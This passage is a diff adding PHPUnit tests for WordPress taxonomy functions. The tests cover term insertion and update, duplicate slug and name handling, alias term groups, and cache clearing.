+		register_taxonomy( 'wptests_tax_2', 'post' );
+		$t = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+
+		$created = wp_insert_term( 'Foo 2', 'wptests_tax_2', array(
+			'slug' => 'foo',
+		) );
+
+		$this->assertFalse( is_wp_error( $created ) );
+
+		$new_term = get_term( $created['term_id'], 'wptests_tax_2' );
+
+		$this->assertSame( 'foo', $new_term->slug );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+	}
+
+	/**
+	 * @ticket 5809
+	 */
+	public function test_wp_insert_term_duplicate_slug_different_taxonomy_before_410_schema_change() {
+
+		$db_version = get_option( 'db_version' );
+		update_option( 'db_version', 30055 );
+
+		register_taxonomy( 'wptests_tax', 'post' );
+		register_taxonomy( 'wptests_tax_2', 'post' );
+		$t = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+
+		$created = wp_insert_term( 'Foo 2', 'wptests_tax_2', array(
+			'slug' => 'foo',
+		) );
+
+		$this->assertFalse( is_wp_error( $created ) );
+
+		$new_term = get_term( $created['term_id'], 'wptests_tax_2' );
+
+		/*
+		 * As of 4.1, we no longer create a shared term, but we also do not
+		 * allow for duplicate slugs.
+		 */
+		$this->assertSame( 'foo-2', $new_term->slug );
+		$this->assertNotEquals( $new_term->term_id, $term->term_id );
+
+		_unregister_taxonomy( 'wptests_tax', 'post' );
+		update_option( 'db_version', $db_version );
+	}
+
+	public function test_wp_insert_term_alias_of_no_term_group() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$term_1 = get_term( $t1, 'wptests_tax' );
+
+		$created_term_ids = wp_insert_term( 'Foo', 'wptests_tax', array(
+			'alias_of' => $term_1->slug,
+		) );
+		$created_term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+
+		$updated_term_1 = get_term( $term_1->term_id, 'wptests_tax' );
+
+		$term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 0, $term_1->term_group );
+		$this->assertNotEmpty( $created_term->term_group );
+		$this->assertSame( $created_term->term_group, $updated_term_1->term_group );
+	}
+
+	public function test_wp_insert_term_alias_of_existing_term_group() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$term_1 = get_term( $t1, 'wptests_tax' );
+
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'alias_of' => $term_1->slug,
+		) );
+		$term_2 = get_term( $t2, 'wptests_tax' );
+
+		$created_term_ids = wp_insert_term( 'Foo', 'wptests_tax', array(
+			'alias_of' => $term_2->slug,
+		) );
+		$created_term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertNotEmpty( $created_term->term_group );
+		$this->assertSame( $created_term->term_group, $term_2->term_group );
+	}
+
+	public function test_wp_insert_term_alias_of_nonexistent_term() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$created_term_ids = wp_insert_term( 'Foo', 'wptests_tax', array(
+			'alias_of' => 'foo',
+		) );
+		$created_term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 0, $created_term->term_group );
+	}
+
+	public function test_wp_insert_term_duplicate_name_slug_non_hierarchical() {
+		register_taxonomy( 'foo', 'post', array() );
+
+		$existing_term = $this->factory->term->create( array(
+			'slug' => 'new-term',
+			'name' => 'New Term',
+			'taxonomy' => 'foo',
+		) );
+
+		$found = wp_insert_term( 'New Term', 'foo', array(
+			'slug' => 'new-term',
+		) );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertEquals( $existing_term, $found->get_error_data() );
+	}
+
+	public function test_wp_insert_term_duplicate_name_hierarchical() {
+		register_taxonomy( 'foo', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$parent_term = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+
+		$existing_term = $this->factory->term->create( array(
+			'name' => 'New Term',
+			'taxonomy' => 'foo',
+			'parent' => $parent_term,
+		) );
+
+		$found = wp_insert_term( 'New Term', 'foo', array(
+			'parent' => $parent_term,
+		) );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertEquals( $existing_term, $found->get_error_data() );
+	}
+
+	public function test_wp_insert_term_duplicate_name_slug_hierarchical() {
+		register_taxonomy( 'foo', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$parent_term = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+
+		$existing_term = $this->factory->term->create( array(
+			'name' => 'New Term',
+			'slug' => 'new-term-slug',
+			'taxonomy' => 'foo',
+			'parent' => $parent_term,
+		) );
+
+		$found = wp_insert_term( 'New Term', 'foo', array(
+			'parent' => $parent_term,
+			'slug' => 'new-term-slug',
+		) );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertEquals( $existing_term, $found->get_error_data() );
+	}
+
+	/**
+	 * @ticket 5809
+	 */
+	public function test_wp_insert_term_should_not_create_shared_term() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		register_taxonomy( 'wptests_tax_2', 'post' );
+
+		$t1 = wp_insert_term( 'Foo', 'wptests_tax' );
+		$t2 = wp_insert_term( 'Foo', 'wptests_tax_2' );
+
+		$this->assertNotEquals( $t1['term_id'], $t2['term_id'] );
+	}
+
+	public function test_wp_insert_term_should_return_term_id_and_term_taxonomy_id() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$found = wp_insert_term( 'foo', 'wptests_tax' );
+
+		$term_by_id = get_term( $found['term_id'], 'wptests_tax' );
+		$term_by_slug = get_term_by( 'slug', 'foo', 'wptests_tax' );
+		$term_by_ttid = get_term_by( 'term_taxonomy_id', $found['term_taxonomy_id'], 'wptests_tax' );
+
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertInternalType( 'array', $found );
+		$this->assertNotEmpty( $found['term_id'] );
+		$this->assertNotEmpty( $found['term_taxonomy_id'] );
+		$this->assertNotEmpty( $term_by_id );
+		$this->assertEquals( $term_by_id, $term_by_slug );
+		$this->assertEquals( $term_by_id, $term_by_ttid );
+	}
+
+	public function test_wp_insert_term_should_clean_term_cache() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		/**
+		 * It doesn't appear that WordPress itself ever sets these
+		 * caches, but we should ensure that they're being cleared for
+		 * compatibility with third-party addons. Prime the caches
+		 * manually.
+		 */
+		wp_cache_set( 'all_ids', array( 1, 2, 3 ), 'wptests_tax' );
+		wp_cache_set( 'get', array( 1, 2, 3 ), 'wptests_tax' );
+
+		$found = wp_insert_term( 'foo', 'wptests_tax', array(
+			'parent' => $t,
+		) );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( false, wp_cache_get( 'all_ids', 'wptests_tax' ) );
+		$this->assertSame( false, wp_cache_get( 'get', 'wptests_tax' ) );
+
+		$cached_children = get_option( 'wptests_tax_children' );
+		$this->assertNotEmpty( $cached_children[ $t ] );
+		$this->assertTrue( in_array( $found['term_id'], $cached_children[ $t ] ) );
+	}
+
+	public function test_wp_update_term_taxonomy_does_not_exist() {
+		$found = wp_update_term( 1, 'bar' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'invalid_taxonomy', $found->get_error_code() );
+	}
+
+	public function test_wp_update_term_term_empty_string_should_return_wp_error() {
+		$found = wp_update_term( '', 'post_tag' );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'invalid_term', $found->get_error_code() );
+	}
+
+	public function test_wp_update_term_unslash_name() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'name' => 'Let\\\'s all say \\"Hooray\\" for WordPress taxonomy',
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'Let\'s all say "Hooray" for WordPress taxonomy', $term->name );
+	}
+
+	public function test_wp_update_term_unslash_description() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'description' => 'Let\\\'s all say \\"Hooray\\" for WordPress taxonomy',
+		) );
+
+		$term = get_term( $found['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 'Let\'s all say "Hooray" for WordPress taxonomy', $term->description );
+	}
+
+	public function test_wp_update_term_name_empty_string() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'name' => '',
+		) );
+
+		$this->assertTrue( is_wp_error( $found ) );
+		$this->assertSame( 'empty_term_name', $found->get_error_code() );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 29614
+	 */
+	function test_wp_update_term_parent_does_not_exist() {
+		register_taxonomy( 'wptests_tax', array(
+			'hierarchical' => true,
+		) );
+		$fake_term_id = 787878;
+
+		$this->assertNull( term_exists( $fake_term_id, 'wptests_tax' ) );
+
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'parent' => $fake_term_id,
+		) );
+
+		$this->assertWPError( $found );
+		$this->assertSame( 'missing_parent', $found->get_error_code() );
+
+		$term = get_term( $t, 'wptests_tax' );
+		$this->assertEquals( 0, $term->parent );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_slug_empty_string_while_not_updating_name() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name' => 'Foo Bar',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'slug' => '',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+		$this->assertSame( 'foo-bar', $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_slug_empty_string_while_updating_name() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'name' => 'Foo Bar',
+			'slug' => '',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+		$this->assertSame( 'foo-bar', $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_slug_set_slug() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'slug' => 'foo-bar',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+		$this->assertSame( 'foo-bar', $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	/**
+	 * @ticket 5809
+	 */
+	public function test_wp_update_term_should_not_create_duplicate_slugs_within_the_same_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$t1 = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$t2 = $this->factory->term->create( array(
+			'name' => 'Bar',
+			'slug' => 'bar',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$updated = wp_update_term( $t2, 'wptests_tax', array(
+			'slug' => 'foo',
+		) );
+
+		$this->assertWPError( $updated );
+		$this->assertSame( 'duplicate_term_slug', $updated->get_error_code() );
+	}
+
+	/**
+	 * @ticket 5809
+	 */
+	public function test_wp_update_term_should_allow_duplicate_slugs_in_different_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		register_taxonomy( 'wptests_tax_2', 'post' );
+
+		$t1 = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$t2 = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'bar',
+			'taxonomy' => 'wptests_tax_2',
+		) );
+
+		$updated = wp_update_term( $t2, 'wptests_tax_2', array(
+			'slug' => 'foo',
+		) );
+
+		$this->assertFalse( is_wp_error( $updated ) );
+
+		$t1_term = get_term( $t1, 'wptests_tax' );
+		$t2_term = get_term( $t2, 'wptests_tax_2' );
+		$this->assertSame( $t1_term->slug, $t2_term->slug );
+	}
+
+	/**
+	 * @ticket 30780
+	 */
+	public function test_wp_update_term_should_allow_duplicate_names_in_different_taxonomies() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		register_taxonomy( 'wptests_tax_2', 'post' );
+
+		$t1 = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$t2 = $this->factory->term->create( array(
+			'name' => 'Bar',
+			'slug' => 'bar',
+			'taxonomy' => 'wptests_tax_2',
+		) );
+
+		$updated = wp_update_term( $t2, 'wptests_tax_2', array(
+			'name' => 'Foo',
+		) );
+
+		$this->assertFalse( is_wp_error( $updated ) );
+
+		$t2_term = get_term( $t2, 'wptests_tax_2' );
+		$this->assertSame( 'Foo', $t2_term->name );
+	}
+
+	/**
+	 * @ticket 30780
+	 */
+	public function test_wp_update_term_should_allow_duplicate_names_at_different_levels_of_the_same_taxonomy() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$t1 = $this->factory->term->create( array(
+			'name' => 'Foo',
+			'slug' => 'foo',
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$t2 = $this->factory->term->create( array(
+			'name' => 'Bar',
+			'slug' => 'bar',
+			'taxonomy' => 'wptests_tax',
+			'parent' => $t1,
+		) );
+
+		$t3 = $this->factory->term->create( array(
+			'name' => 'Bar Child',
+			'slug' => 'bar-child',
+			'taxonomy' => 'wptests_tax',
+			'parent' => $t2,
+		) );
+
+		$updated = wp_update_term( $t3, 'wptests_tax', array(
+			'name' => 'Bar',
+		) );
+
+		$this->assertFalse( is_wp_error( $updated ) );
+
+		$t3_term = get_term( $t3, 'wptests_tax' );
+		$this->assertSame( 'Bar', $t3_term->name );
+	}
+
+	public function test_wp_update_term_alias_of_no_term_group() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$term_1 = get_term( $t1, 'wptests_tax' );
+
+		$created_term_ids = wp_insert_term( 'Foo', 'wptests_tax' );
+		wp_update_term( $created_term_ids['term_id'], 'wptests_tax', array(
+			'alias_of' => $term_1->slug,
+		) );
+		$created_term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+
+		$updated_term_1 = get_term( $t1, 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 0, $term_1->term_group );
+		$this->assertNotEmpty( $created_term->term_group );
+		$this->assertSame( $created_term->term_group, $updated_term_1->term_group );
+	}
+
+	public function test_wp_update_term_alias_of_existing_term_group() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$term_1 = get_term( $t1, 'wptests_tax' );
+
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'alias_of' => $term_1->slug,
+		) );
+		$term_2 = get_term( $t2, 'wptests_tax' );
+
+		$created_term_ids = wp_insert_term( 'Foo', 'wptests_tax' );
+		wp_update_term( $created_term_ids['term_id'], 'wptests_tax', array(
+			'alias_of' => $term_2->slug,
+		) );
+		$created_term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertNotEmpty( $created_term->term_group );
+		$this->assertSame( $created_term->term_group, $term_2->term_group );
+	}
+
+	public function test_wp_update_term_alias_of_nonexistent_term() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$created_term_ids = wp_insert_term( 'Foo', 'wptests_tax' );
+		wp_update_term( $created_term_ids['term_id'], 'wptests_tax', array(
+			'alias_of' => 'bar',
+		) );
+		$created_term = get_term( $created_term_ids['term_id'], 'wptests_tax' );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( 0, $created_term->term_group );
+	}
+
+	public function test_wp_update_term_slug_same_as_old_slug() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'foo',
+		) );
+
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'slug' => 'foo',
+		) );
+
+		$term = get_term( $t, 'wptests_tax' );
+
+		$this->assertSame( $t, $found['term_id'] );
+		$this->assertSame( 'foo', $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_duplicate_slug_generated_due_to_empty_slug_param() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'foo-bar',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'name' => 'not foo bar',
+		) );
+
+		$found = wp_update_term( $t2, 'wptests_tax', array(
+			'slug' => '',
+			'name' => 'Foo? Bar!', // Will sanitize to 'foo-bar'.
+		) );
+
+		$term = get_term( $t2, 'wptests_tax' );
+
+		$this->assertSame( $t2, $found['term_id'] );
+		$this->assertSame( 'foo-bar-2', $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_duplicate_slug_with_changed_parent() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+		$p = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'foo-bar',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$found = wp_update_term( $t2, 'wptests_tax', array(
+			'parent' => $p,
+			'slug' => 'foo-bar',
+		) );
+
+		$term = get_term( $t2, 'wptests_tax' );
+		$parent_term = get_term( $p, 'wptests_tax' );
+
+		$this->assertSame( $t2, $found['term_id'] );
+		$this->assertSame( 'foo-bar-' . $parent_term->slug, $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_duplicate_slug_failure() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'foo-bar',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'slug' => 'my-old-slug',
+		) );
+
+		$found = wp_update_term( $t2, 'wptests_tax', array(
+			'slug' => 'foo-bar',
+		) );
+
+		$term = get_term( $t2, 'wptests_tax' );
+
+		$this->assertWPError( $found );
+		$this->assertSame( 'duplicate_term_slug', $found->get_error_code() );
+		$this->assertSame( 'my-old-slug', $term->slug );
+		_unregister_taxonomy( 'wptests_tax' );
+	}
+
+	public function test_wp_update_term_should_return_term_id_and_term_taxonomy_id() {
+		register_taxonomy( 'wptests_tax', 'post' );
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$found = wp_update_term( $t, 'wptests_tax', array(
+			'slug' => 'foo',
+		) );
+
+		$term_by_id = get_term( $found['term_id'], 'wptests_tax' );
+		$term_by_slug = get_term_by( 'slug', 'foo', 'wptests_tax' );
+		$term_by_ttid = get_term_by( 'term_taxonomy_id', $found['term_taxonomy_id'], 'wptests_tax' );
+
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertInternalType( 'array', $found );
+		$this->assertNotEmpty( $found['term_id'] );
+		$this->assertNotEmpty( $found['term_taxonomy_id'] );
+		$this->assertNotEmpty( $term_by_id );
+		$this->assertEquals( $term_by_id, $term_by_slug );
+		$this->assertEquals( $term_by_id, $term_by_ttid );
+	}
+
+	public function test_wp_update_term_should_clean_object_term_cache() {
+		register_taxonomy( 'wptests_tax_for_post', 'post' );
+		register_taxonomy( 'wptests_tax_for_page', 'page' );
+		$post = $this->factory->post->create();
+		$page = $this->factory->post->create( array(
+			'post_type' => 'page',
+		) );
+
+		$t_for_post = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax_for_post',
+		) );
+		$t_for_page = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax_for_page',
+		) );
+
+		wp_set_post_terms( $post, array( $t_for_post ), 'wptests_tax_for_post' );
+		wp_set_post_terms( $page, array( $t_for_page ), 'wptests_tax_for_page' );
+
+		// Prime caches and verify.
+		update_object_term_cache( array( $post ), 'post' );
+		update_object_term_cache( array( $page ), 'page' );
+		$this->assertNotEmpty( wp_cache_get( $post, 'wptests_tax_for_post_relationships' ) );
+		$this->assertNotEmpty( wp_cache_get( $page, 'wptests_tax_for_page_relationships' ) );
+
+		// Update a term in just one of the taxonomies.
+		$found = wp_update_term( $t_for_post, 'wptests_tax_for_post', array(
+			'slug' => 'foo',
+		) );
+
+		// Only the relevant cache should have been cleared.
+		$this->assertFalse( wp_cache_get( $post, 'wptests_tax_for_post_relationships' ) );
+		$this->assertNotEmpty( wp_cache_get( $page, 'wptests_tax_for_page_relationships' ) );
+	}
+
+	public function test_wp_update_term_should_clean_term_cache() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		/*
+		 * It doesn't appear that WordPress itself ever sets these
+		 * caches, but we should ensure that they're being cleared for
+		 * compatibility with third-party addons. Prime the caches
+		 * manually.
+		 */
+		wp_cache_set( 'all_ids', array( 1, 2, 3 ), 'wptests_tax' );
+		wp_cache_set( 'get', array( 1, 2, 3 ), 'wptests_tax' );
+
+		$found = wp_update_term( $t1, 'wptests_tax', array(
+			'parent' => $t2,
+		) );
+		_unregister_taxonomy( 'wptests_tax' );
+
+		$this->assertSame( false, wp_cache_get( 'all_ids', 'wptests_tax' ) );
+		$this->assertSame( false, wp_cache_get( 'get', 'wptests_tax' ) );
+
+		$cached_children = get_option( 'wptests_tax_children' );
+		$this->assertNotEmpty( $cached_children[ $t2 ] );
+		$this->assertTrue( in_array( $found['term_id'], $cached_children[ $t2 ] ) );
+	}
+
+	/**
+	 * @ticket 29911
+	 */
+	public function test_wp_delete_term_should_invalidate_cache_for_child_terms() {
+		register_taxonomy( 'wptests_tax', 'post', array(
+			'hierarchical' => true,
+		) );
+
+		$parent = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+		) );
+
+		$child = $this->factory->term->create( array(
+			'taxonomy' => 'wptests_tax',
+			'parent' => $parent,
+			'slug' => 'foo',
+		) );
+
+		// Prime the cache.
+		$child_term = get_term( $child, 'wptests_tax' );
+		$this->assertSame( $parent, $child_term->parent );
+
+		wp_delete_term( $parent, 'wptests_tax' );
+		$child_term = get_term( $child, 'wptests_tax' );
+		$this->assertSame( 0, $child_term->parent );
+	}
+
+	/**
+	 * @ticket 5381
+	 */
+	function test_is_term_type() {
+		// insert a term
+		$term = rand_str();
+		$t = wp_insert_term( $term, $this->taxonomy );
+		$this->assertInternalType( 'array', $t );
+		$term_obj = get_term_by('name', $term, $this->taxonomy);
+		$this->assertEquals( $t['term_id'], term_exists($term_obj->slug) );
+
+		// clean up
+		$this->assertTrue( wp_delete_term($t['term_id'], $this->taxonomy) );
+	}
+
+	/**
+	 * @ticket 21651
+	 */
+	function test_get_term_by_tt_id() {
+		$term1 = wp_insert_term( 'Foo', 'category' );
+		$term2 = get_term_by( 'term_taxonomy_id', $term1['term_taxonomy_id'], 'category' );
+		$this->assertEquals( get_term( $term1['term_id'], 'category' ), $term2 );
+	}
+
+	/**
+	 * @ticket 15919
+	 */
+	function test_wp_count_terms() {
+		$count = wp_count_terms( 'category', array( 'hide_empty' => true ) );
+		// the terms inserted in setUp aren't attached to any posts, so should return 0
+		// this previously returned 2
+		$this->assertEquals( 0, $count );
+	}
+
+	/**
+	 * @ticket 26339
+	 */
+	function test_get_object_terms() {
+		$post_id = $this->factory->post->create();
+		$terms_1 = array('foo', 'bar', 'baz');
+
+		wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+		add_filter( 'wp_get_object_terms', array( $this, 'filter_get_object_terms' ) );
+		$terms = wp_get_object_terms( $post_id, $this->taxonomy );
+		remove_filter( 'wp_get_object_terms', array( $this, 'filter_get_object_terms' ) );
+		foreach ( $terms as $term ) {
+			$this->assertInternalType( 'object', $term );
+		}
+	}
+
+	function filter_get_object_terms( $terms ) {
+		$term_ids = wp_list_pluck( $terms, 'term_id' );
+		// all terms should still be objects
+		return $terms;
+	}
+
+	function test_get_object_terms_by_slug() {
+		$post_id = $this->factory->post->create();
+
+		$terms_1 = array('Foo', 'Bar', 'Baz');
+		$terms_1_slugs = array('foo', 'bar', 'baz');
+
+		// set the initial terms
+		$tt_1 = wp_set_object_terms( $post_id, $terms_1, $this->taxonomy );
+		$this->assertEquals( 3, count($tt_1) );
+
+		// make sure they're correct
+		$terms = wp_get_object_terms($post_id, $this->taxonomy, array('fields' => 'slugs', 'orderby' => 't.term_id'));
+		$this->assertEquals( $terms_1_slugs, $terms );
+	}
+
+	/**
+	 * @ticket 11003
+	 */
+	function test_wp_get_object_terms_no_dupes() {
+		$post_id1 = $this->factory->post->create();
+		$post_id2 = $this->factory->post->create();
+		$cat_id = $this->factory->category->create();
+		$cat_id2 = $this->factory->category->create();
+		wp_set_post_categories( $post_id1, array( $cat_id, $cat_id2 ) );
+		wp_set_post_categories( $post_id2, $cat_id );
+
+		$terms = wp_get_object_terms( array( $post_id1, $post_id2 ), 'category' );
+		$this->assertCount( 2, $terms );
+		$this->assertEquals( array( $cat_id, $cat_id2 ), wp_list_pluck( $terms, 'term_id' ) );
+
+		$terms2 = wp_get_object_terms( array( $post_id1, $post_id2 ), 'category', array(
+			'fields' => 'all_with_object_id'
+		) );
+
+		$this->assertCount( 3, $terms2 );
+		$this->assertEquals( array( $cat_id, $cat_id, $cat_id2 ), wp_list_pluck( $terms2, 'term_id' ) );
+	}
+
+	/**
+	 * @ticket 17646
+	 */
+	function test_get_object_terms_types() {
+		$post_id = $this->factory->post->create();
+		$term = wp_insert_term( 'one', $this->taxonomy );
+		wp_set_object_terms( $post_id, $term, $this->taxonomy );
+
+		$terms = wp_get_object_terms( $post_id, $this->taxonomy, array( 'fields' => 'all_with_object_id' ) );
+		$term = array_shift( $terms );
+		$int_fields = array( 'parent', 'term_id', 'count', 'term_group', 'term_taxonomy_id', 'object_id' );
+		foreach ( $int_fields as $field )
+			$this->assertInternalType( 'int', $term->$field, $field );
+
+		$terms = wp_get_object_terms( $post_id, $this->taxonomy, array( 'fields' => 'ids' ) );
+		$term = array_shift( $terms );
+		$this->assertInternalType( 'int', $term, 'term' );
+	}
+
+	/**
+	 * @ticket 26570
+	 */
+	function test_set_object_terms() {
+		$non_hier = rand_str( 10 );
+		$hier     = rand_str( 10 );
+
+		// Register taxonomies
+		register_taxonomy( $non_hier, array() );
+		register_taxonomy( $hier, array( 'hierarchical' => true ) );
+
+		// Create a post.
+		$post_id = $this->factory->post->create();
+
+		/*
+		 * Set a single term (non-hierarchical) by ID.
+		 */
+		$tag = wp_insert_term( 'Foo', $non_hier );
+		$this->assertFalse( has_term( $tag['term_id'], $non_hier, $post_id ) );
+
+		wp_set_object_terms( $post_id, $tag['term_id'], $non_hier );
+		$this->assertTrue( has_term( $tag['term_id'], $non_hier, $post_id ) );
+
+		/*
+		 * Set a single term (non-hierarchical) by slug.
+		 */
+		$tag = wp_insert_term( 'Bar', $non_hier );
+		$tag = get_term( $tag['term_id'], $non_hier );
+
+		$this->assertFalse( has_term( $tag->slug, $non_hier, $post_id ) );
+
+		wp_set_object_terms( $post_id, $tag->slug, $non_hier );
+		$this->assertTrue( has_term( $tag->slug, $non_hier, $post_id ) );
+
+		/*
+		 * Set a single term (hierarchical) by ID.
+		 */
+		$cat = wp_insert_term( 'Baz', $hier );
+		$this->assertFalse( has_term( $cat['term_id'], $hier, $post_id ) );
+
+		wp_set_object_terms( $post_id, $cat['term_id'], $hier );
+		$this->assertTrue( has_term( $cat['term_id'], $hier, $post_id ) );
+
+		/*
+		 * Set a single term (hierarchical) by slug.
+		 */
+		$cat = wp_insert_term( 'Qux', $hier );
+		$cat = get_term( $cat['term_id'], $hier );
+
+		$this->assertFalse( has_term( $cat->slug, $hier, $post_id ) );
+
+		wp_set_object_terms( $post_id, $cat->slug, $hier );
+		$this->assertTrue( has_term( $cat->slug, $hier, $post_id ) );
+
+		/*
+		 * Set an array of term IDs (non-hierarchical) by ID.
+		 */
